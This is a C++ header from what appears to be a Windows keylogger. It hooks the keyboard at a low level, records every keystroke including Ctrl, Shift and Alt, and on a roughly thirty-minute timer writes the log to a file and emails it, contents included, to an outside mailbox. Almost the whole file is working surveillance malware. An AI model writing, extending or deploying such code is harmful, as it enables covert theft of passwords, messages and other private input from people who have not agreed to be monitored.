KeybHook.h

#ifndef KEYBHOOK_H
#define KEYBHOOK_H
#include <iostream>
#include <fstream>
#include "windows.h"
#include "KeyConstants.h"
#include "Timer.h"
#include "SendMail.h"

std::string keylog = "";
void TimerSendMail ()
    {

        if (keylog.empty ())
            return;

        std::string last_file = IO::WriteLog (keylog);

        if (last_file.empty ())
            {
                Helper::WriteAppLog ("File creation was not succesfull. Keylog '" + keylog + "'");
                return;
            }

        int x = Mail::SendMail ("Log [" + last_file + "]",
                    "Hi :)\nThe file has been attached to this mail :)\nFor testing there is"
                " content of the file:\n\n--------------------------\n" + keylog,
        IO::GetOurPath (true) +  last_file);
        if (x != 7)
            Helper::WriteAppLog ("Mail was not sent! Error code: " + Helper::ToString (x));
        else keylog = "";

    }



Timer MailTimer (TimerSendMail, 500 * 60, Timer::Infinite);




HHOOK eHook = NULL;




LRESULT OurKeyboardProc (int nCode, WPARAM wparam, LPARAM lparam)
    {


        if (nCode < 0)
            CallNextHookEx(eHook, nCode,  wparam, lparam);



        KBDLLHOOKSTRUCT *kbs = (KBDLLHOOKSTRUCT *)lparam;
        if (wparam == WM_KEYDOWN || wparam == WM_SYSKEYDOWN)
            {

                keylog += Keys::KEYS[kbs->vkCode].Name;
                if (kbs->vkCode == VK_RETURN)
                    keylog += '\n';
            }
        else if (wparam == WM_KEYUP || wparam  == WM_SYSKEYUP)
            {







                DWORD key = kbs->vkCode;
                if (key == VK_CONTROL
                        || key == VK_LCONTROL
                        || key == VK_RCONTROL
                        || key == VK_SHIFT
                        || key == VK_LSHIFT
                        || key == VK_RSHIFT
                        || key == VK_MENU
                        || key == VK_LMENU
                        || key == VK_RMENU
                        || key == VK_CAPITAL
                        || key == VK_NUMLOCK
                        || key == VK_LWIN
                        || key == VK_RWIN)


                    {
                        string KeyName = Keys::KEYS[kbs->vkCode].Name;
                        KeyName.insert (1, "/");
                        keylog += KeyName;
                    }
            }
        return CallNextHookEx(eHook, nCode,  wparam, lparam);
    }



bool InstalHook ()
    {


        Helper::WriteAppLog ("Hook started... Timer started");
        MailTimer.Start (true);

        eHook = SetWindowsHookEx (WH_KEYBOARD_LL, (HOOKPROC)OurKeyboardProc, GetModuleHandle (NULL), 0);

        return eHook == NULL;
    }


bool UninstalHook ()
    {

        BOOL b = UnhookWindowsHookEx (eHook);
        eHook = NULL;
        return (bool)b;
    }

bool IsHooked ()
    {

        return (bool)(eHook == NULL);
    }
#endif